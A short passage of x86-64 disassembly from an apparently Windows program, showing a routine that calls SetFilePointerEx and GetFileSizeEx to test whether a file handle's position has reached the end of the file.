je 0x14001ec0c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001ec0c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001ec0c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001ec0e
xor al, al
add rsp, 0x20
pop rbx
ret